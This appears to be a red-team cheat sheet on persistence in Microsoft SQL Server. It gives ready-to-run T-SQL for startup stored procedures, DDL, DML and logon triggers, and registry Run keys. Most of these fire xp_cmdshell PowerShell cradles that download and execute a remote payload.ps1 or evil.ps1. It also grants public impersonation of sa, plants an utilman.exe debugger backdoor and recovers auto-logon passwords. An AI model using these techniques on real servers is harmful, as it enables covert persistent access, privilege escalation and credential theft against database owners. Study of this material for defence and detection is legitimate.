06. Persistence

Startup stored procedures

  • sysadmin privileges are required to mark proc for automated execution
  • owned only by sa
  • must be in the master database
  • cannot have input or output parameters
  • gets executed with sysadmin privileges
  • executed when SQL Server restart

https://technet.microsoft.com/en-us/library/ms191129(v=sql.105).aspx

Create:

USE master
GO

CREATE PROCEDURE sp_autops
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'
GO

EXEC sp_procoption @ProcName = 'sp_autops', @OptionName = 'startup', @OptionValue = 'on';

List:

SELECT [name] FROM sysobjects WHERE type = 'P' AND OBJECTPROPERTY(id, 'ExecIsStartUp') = 1;

https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-procoption-transact-sql https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/

Triggers

https://docs.microsoft.com/en-us/sql/t-sql/statements/create-trigger-transact-sql

Data Definition Language (DDL) Triggers

  • Execute under the context of the user that calls the trigger
CREATE Trigger [persistence_ddl_1]
ON ALL Server -- or DATABASE
FOR DDL_LOGIN_EVENTS -- See the docs below for events and event groups
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"
'
GO

https://blog.netspi.com/maintaining-persistence-via-sql-server-part-2-triggers/ https://docs.microsoft.com/en-us/sql/relational-databases/triggers/implement-ddl-triggers https://docs.microsoft.com/en-us/sql/relational-databases/triggers/ddl-event-groups

Data Manipulation Language (DML) Triggers

  • Execute under the context of the user that calls the trigger
  • User should have privilages to do the task in the trigger
USE master
GRANT IMPERSONATE ON LOGIN::sa to [Public];
USE testdb
CREATE TRIGGER [persistence_dml_1]
ON testdb.dbo.datatable
FOR INSERT, UPDATE, DELETE AS
EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'
GO

https://blog.netspi.com/maintaining-persistence-via-sql-server-part-2-triggers/ https://docs.microsoft.com/en-us/sql/relational-databases/triggers/create-dml-triggers

Logon Triggers

  • Ideal for triggering with a logon failure of a low-privilege user.
CREATE Trigger [persistence_logon_1]
ON ALL SERVER WITH EXECUTE AS 'sa'
FOR LOGON
AS
BEGIN
IF ORIGINAL_LOGIN() = 'testuser'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object
System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"
'
END;

List all Triggers

SELECT - FROM sys.server_triggers

Get-SQLTriggerDdl -Instance instance -username sa -Password pw -Verbose

https://docs.microsoft.com/en-us/sql/relational-databases/triggers/logon-triggers

Registry keys

xp_regwrite

  • Needs sysadmin
EXEC xp_regwrite
@rootkey = 'HKEY_LOCAL_MACHINE',
@key = 'Software\Microsoft\Windows\CurrentVersion\Run',
@value_name = 'SQLServerUpdate',
@type = 'REG_SZ',
@value = 'powershell -w 1 -NoP -NoL iex(New-Object Net.WebClient).DownloadString("http://webserver/evil.ps1")'
Get-SQLPersistRegDebugger -Instance instance -username sa -Password pw -FileName utilman.exe -Command 'c:\windows\system32\cmd.exe' -Verbose
Get-SQLPersistRegRun -Instance instance -username sa -Password pw -Name SQLUpdate -Command 'powershell -w 1 -NoP -NoL iex(New-Object Net.WebClient).DownloadString("http://webserver/evil.ps1")' -Verbose

xp_regread

  • Limited read for public role
DECLARE @Reg_Value VARCHAR(1000)
EXECUTE xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\CurrentVersion',ProductName',
@Reg_Value OUTPUT
SELECT @Reg_Value

Read auto-login password:

Get-SQLRecoverPwAutoLogon -Instance instance -username sa -Password pw -Verbose

https://blog.netspi.com/get-windows-auto-login-passwords-via-sql-server-powerupsql/

xp_regdeletekey